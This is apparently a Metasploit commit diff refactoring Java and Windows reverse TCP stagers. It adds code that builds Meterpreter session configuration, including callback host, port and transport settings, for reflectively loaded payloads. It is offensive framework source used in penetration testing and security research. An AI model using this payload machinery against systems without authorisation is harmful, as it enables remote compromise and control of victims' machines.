Skip to content

Commit bd8f8fd

Browse files
committed
More rework of payload structure to handle multi arch handlers
1 parent beca636 commit bd8f8fd

File tree

13 files changed

+153
-115
lines changed

13 files changed

+153
-115
lines changed
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/transport_config'
5+
require 'msf/core/payload/uuid/options'
6+
7+
module Msf
8+
9+
###
10+
#
11+
# Complex payload generation for Java that speaks TCP
12+
#
13+
###
14+
15+
module Payload::Java::ReverseTcp
16+
17+
include Msf::Payload::TransportConfig
18+
include Msf::Payload::Java
19+
include Msf::Payload::UUID::Options
20+
21+
#
22+
# Register Java reverse_http specific options
23+
#
24+
def initialize(*args)
25+
super
26+
register_advanced_options([
27+
Msf::OptString.new('AESPassword', [false, "Password for encrypting communication", '']),
28+
Msf::OptInt.new('Spawn', [true, "Number of subprocesses to spawn", 2])
29+
])
30+
end
31+
32+
#
33+
# Generate the transport-specific configuration
34+
#
35+
def transport_config(opts={})
36+
transport_config_reverse_tcp(opts)
37+
end
38+
39+
def include_send_uuid
40+
false
41+
end
42+
43+
#
44+
# Generate configuration that is to be included in the stager.
45+
#
46+
def stager_config(opts={})
47+
ds = opts[:datastore] || datastore
48+
spawn = ds["Spawn"] || 2
49+
c = ""
50+
c << "Spawn=#{spawn}\n"
51+
pass = ds["AESPassword"] || ''
52+
if pass != ""
53+
c << "AESPassword=#{pass}\n"
54+
end
55+
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
56+
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
57+
58+
c
59+
end
60+
61+
def class_files
62+
# TODO: we should handle opts in class_files as well
63+
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
64+
[
65+
["metasploit", "AESEncryption.class"],
66+
]
67+
else
68+
[]
69+
end
70+
end
71+
72+
end
73+
74+
end
75+
76+

lib/msf/core/payload/windows/meterpreter_loader.rb

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
require 'msf/core'
44
require 'msf/core/reflective_dll_loader'
5+
require 'rex/payloads/meterpreter/config'
56

67
module Msf
78

@@ -66,6 +67,31 @@ def asm_invoke_metsrv(opts={})
6667
^
6768
end
6869

70+
def stage_payload(opts={})
71+
stage_meterpreter(opts) + generate_config(opts)
72+
end
73+
74+
def generate_config(opts={})
75+
ds = opts[:datastore] || datastore
76+
opts[:uuid] ||= generate_payload_uuid
77+
78+
# create the configuration block, which for staged connections is really simple.
79+
config_opts = {
80+
arch: opts[:uuid].arch,
81+
exitfunk: ds['EXITFUNC'],
82+
expiration: ds['SessionExpirationTimeout'].to_i,
83+
uuid: opts[:uuid],
84+
transports: opts[:transport_config] || [transport_config(opts)],
85+
extensions: []
86+
}
87+
88+
# create the configuration instance based off the parameters
89+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
90+
91+
# return the binary version of it
92+
config.to_b
93+
end
94+
6995
def stage_meterpreter(opts={})
7096
# Exceptions will be thrown by the mixin if there are issues.
7197
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))

lib/msf/core/payload/windows/reverse_tcp.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
2525
#
2626
# Generate the first stage
2727
#
28-
def generate
28+
def generate(opts={})
29+
ds = opts[:datastore] || datastore
2930
conf = {
30-
port: datastore['LPORT'],
31-
host: datastore['LHOST'],
32-
retry_count: datastore['ReverseConnectRetries'],
31+
port: ds['LPORT'],
32+
host: ds['LHOST'],
33+
retry_count: ds['ReverseConnectRetries'],
3334
reliable: false
3435
}
3536

3637
# Generate the advanced stager if we have space
3738
if self.available_space && required_space <= self.available_space
38-
conf[:exitfunk] = datastore['EXITFUNC']
39+
conf[:exitfunk] = ds['EXITFUNC']
3940
conf[:reliable] = true
4041
end
4142

lib/msf/core/payload/windows/x64/meterpreter_loader.rb

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,10 @@
22

33
require 'msf/core'
44
require 'msf/core/reflective_dll_loader'
5+
require 'rex/payloads/meterpreter/config'
56

67
module Msf
78

8-
99
###
1010
#
1111
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
@@ -69,6 +69,31 @@ def asm_invoke_metsrv(opts={})
6969
^
7070
end
7171

72+
def stage_payload(opts={})
73+
stage_meterpreter(opts) + generate_config(opts)
74+
end
75+
76+
def generate_config(opts={})
77+
ds = opts[:datastore] || datastore
78+
opts[:uuid] ||= generate_payload_uuid
79+
80+
# create the configuration block, which for staged connections is really simple.
81+
config_opts = {
82+
arch: opts[:uuid].arch,
83+
exitfunk: ds['EXITFUNC'],
84+
expiration: ds['SessionExpirationTimeout'].to_i,
85+
uuid: opts[:uuid],
86+
transports: opts[:transport_config] || [transport_config(opts)],
87+
extensions: []
88+
}
89+
90+
# create the configuration instance based off the parameters
91+
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
92+
93+
# return the binary version of it
94+
config.to_b
95+
end
96+
7297
def stage_meterpreter(opts={})
7398
# Exceptions will be thrown by the mixin if there are issues.
7499
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))

modules/payloads/stagers/java/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,6 @@ def initialize(info={})
2626
'Handler' => Msf::Handler::ReverseHttp,
2727
'Convention' => 'javaurl',
2828
'Stager' => {'Payload' => ''}
29-
))
29+
))
3030
end
3131
end

modules/payloads/stagers/java/reverse_tcp.rb

Lines changed: 4 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -5,63 +5,27 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_tcp'
8-
require 'msf/base/sessions/command_shell'
9-
require 'msf/base/sessions/command_shell_options'
8+
require 'msf/core/payload/java/reverse_tcp'
109

1110
module MetasploitModule
1211

1312
CachedSize = 5118
1413

1514
include Msf::Payload::Stager
1615
include Msf::Payload::Java
16+
include Msf::Payload::Java::ReverseTcp
1717

1818
def initialize(info = {})
1919
super(merge_info(info,
2020
'Name' => 'Java Reverse TCP Stager',
2121
'Description' => 'Connect back stager',
22-
'Author' => [
23-
'mihi', # all the hard work
24-
'egypt', # msf integration
25-
],
22+
'Author' => ['mihi', 'egypt'],
2623
'License' => MSF_LICENSE,
2724
'Platform' => 'java',
2825
'Arch' => ARCH_JAVA,
2926
'Handler' => Msf::Handler::ReverseTcp,
3027
'Convention' => 'javasocket',
31-
'Stager' => {'Payload' => ""}
28+
'Stager' => {'Payload' => ''}
3229
))
33-
34-
register_advanced_options(
35-
[
36-
Msf::OptString.new('AESPassword', [ false, "Password for encrypting communication", '' ]),
37-
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
38-
], self.class
39-
)
40-
41-
@class_files = [ ]
42-
end
43-
44-
def include_send_uuid
45-
false
4630
end
47-
48-
def config
49-
spawn = datastore["Spawn"] || 2
50-
c = ""
51-
c << "Spawn=#{spawn}\n"
52-
pass = datastore["AESPassword"] || ""
53-
if pass != ""
54-
c << "AESPassword=#{pass}\n"
55-
@class_files = [
56-
[ "metasploit", "AESEncryption.class" ],
57-
]
58-
else
59-
@class_files = [ ]
60-
end
61-
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
62-
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
63-
64-
c
65-
end
66-
6731
end

modules/payloads/stagers/windows/reverse_http.rb

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,5 +26,4 @@ def initialize(info = {})
2626
'Handler' => Msf::Handler::ReverseHttp,
2727
'Convention' => 'sockedi http'))
2828
end
29-
3029
end

modules/payloads/stagers/windows/reverse_tcp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,7 @@ def initialize(info = {})
2525
'Arch' => ARCH_X86,
2626
'Handler' => Msf::Handler::ReverseTcp,
2727
'Convention' => 'sockedi',
28-
'Stager' => { 'RequiresMidstager' => false }
28+
'Stager' => {'RequiresMidstager' => false}
2929
))
3030
end
31-
3231
end

modules/payloads/stages/android/meterpreter.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,14 +52,15 @@ def generate_stage(opts={})
5252

5353
def generate_config(opts={})
5454
opts[:uuid] ||= generate_payload_uuid
55+
ds = opts[:datastore] || datastore
5556

5657
# create the configuration block, which for staged connections is really simple.
5758
config_opts = {
5859
ascii_str: true,
5960
arch: opts[:uuid].arch,
60-
expiration: datastore['SessionExpirationTimeout'].to_i,
61+
expiration: ds['SessionExpirationTimeout'].to_i,
6162
uuid: opts[:uuid],
62-
transports: [transport_config(opts)]
63+
transports: opts[:transport_config] || [transport_config(opts)]
6364
}
6465

6566
# create the configuration instance based off the parameters

modules/payloads/stages/linux/x86/meterpreter.rb

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -154,16 +154,17 @@ def generate_meterpreter
154154

155155
def generate_config(opts={})
156156
opts[:uuid] ||= generate_payload_uuid
157+
ds = opts[:datastore] || datastore
157158

158159
# create the configuration block, which for staged connections is really simple.
159160
config_opts = {
160-
:arch => opts[:uuid].arch,
161-
:exitfunk => nil,
162-
:expiration => datastore['SessionExpirationTimeout'].to_i,
163-
:uuid => opts[:uuid],
164-
:transports => [transport_config(opts)],
165-
:extensions => [],
166-
:ascii_str => true
161+
arch: opts[:uuid].arch,
162+
exitfunk: nil,
163+
expiration: ds['SessionExpirationTimeout'].to_i,
164+
uuid: opts[:uuid],
165+
transports: opts[:transport_config] || [transport_config(opts)],
166+
extensions: [],
167+
ascii_str: true
167168
}
168169

169170
# create the configuration instance based off the parameters

0 commit comments

Comments
 (0)